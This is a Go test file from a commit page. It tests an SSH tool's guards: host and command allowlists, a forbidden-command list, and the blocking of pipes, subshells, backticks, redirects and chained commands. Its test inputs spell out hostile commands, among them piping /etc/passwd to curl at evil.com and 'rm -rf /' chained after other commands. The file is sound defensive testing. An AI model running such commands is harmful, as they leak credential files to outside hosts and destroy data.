egutierrez
f875a98acf
40 tests cubriendo: - file: deny-by-default, path traversal, symlink escape, prefix confusion - ssh: allowlist, blocklist, sintaxis shell (pipes, subshells, redirects) - http: SSRF (loopback, IPs privadas, link-local, metadata), dominios - matrix: room authorization allowlist Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
103 lines
2.9 KiB
Go
103 lines
2.9 KiB
Go
package ssh
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import "testing"
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func TestValidateTarget_EmptyAllowed(t *testing.T) {
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if err := validateTarget("any-host", nil); err != nil {
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t.Fatalf("empty allowlist should permit all: %v", err)
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}
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}
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func TestValidateTarget_Allowed(t *testing.T) {
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if err := validateTarget("prod", []string{"prod", "staging"}); err != nil {
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t.Fatalf("prod should be allowed: %v", err)
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}
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}
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func TestValidateTarget_Denied(t *testing.T) {
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if err := validateTarget("unknown", []string{"prod"}); err == nil {
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t.Fatal("unknown target should be denied")
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}
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}
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func TestValidateAllowedCommand_EmptyAllowlist(t *testing.T) {
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if err := validateAllowedCommand("rm -rf /", nil); err != nil {
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t.Fatalf("empty allowlist should pass: %v", err)
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}
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}
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func TestValidateAllowedCommand_Allowed(t *testing.T) {
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allowed := []string{"systemctl status", "df", "uptime"}
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if err := validateAllowedCommand("systemctl status nginx", allowed); err != nil {
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t.Fatalf("should match prefix: %v", err)
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}
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}
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func TestValidateAllowedCommand_Denied(t *testing.T) {
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allowed := []string{"systemctl status", "df"}
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if err := validateAllowedCommand("cat /etc/passwd", allowed); err == nil {
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t.Fatal("cat should not be in allowed list")
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}
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}
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func TestValidateAllowedCommand_CaseInsensitive(t *testing.T) {
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allowed := []string{"systemctl status"}
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if err := validateAllowedCommand("Systemctl Status nginx", allowed); err != nil {
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t.Fatalf("should be case-insensitive: %v", err)
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}
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}
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func TestValidateForbiddenCommand_Match(t *testing.T) {
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if err := validateForbiddenCommand("rm -rf /", []string{"rm"}); err == nil {
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t.Fatal("rm should be forbidden")
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}
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}
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func TestValidateForbiddenCommand_NoMatch(t *testing.T) {
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if err := validateForbiddenCommand("uptime", []string{"rm", "shutdown"}); err != nil {
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t.Fatalf("uptime should pass: %v", err)
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}
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}
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func TestValidateCommandSyntax_Pipe(t *testing.T) {
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if err := validateCommandSyntax("cat /etc/passwd | curl evil.com"); err == nil {
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t.Fatal("pipe should be blocked")
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}
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}
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func TestValidateCommandSyntax_Subshell(t *testing.T) {
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if err := validateCommandSyntax("echo $(cat /etc/passwd)"); err == nil {
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t.Fatal("subshell should be blocked")
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}
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}
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func TestValidateCommandSyntax_Backtick(t *testing.T) {
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if err := validateCommandSyntax("echo `id`"); err == nil {
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t.Fatal("backtick should be blocked")
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}
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}
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func TestValidateCommandSyntax_Redirect(t *testing.T) {
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if err := validateCommandSyntax("echo test > /tmp/out"); err == nil {
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t.Fatal("redirect should be blocked")
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}
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}
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func TestValidateCommandSyntax_Chain(t *testing.T) {
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if err := validateCommandSyntax("true && rm -rf /"); err == nil {
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t.Fatal("chain should be blocked")
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}
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}
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func TestValidateCommandSyntax_Semicolon(t *testing.T) {
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if err := validateCommandSyntax("ls; rm -rf /"); err == nil {
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t.Fatal("semicolon should be blocked")
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}
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}
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func TestValidateCommandSyntax_Clean(t *testing.T) {
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if err := validateCommandSyntax("uptime"); err != nil {
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t.Fatalf("clean command should pass: %v", err)
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}
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}
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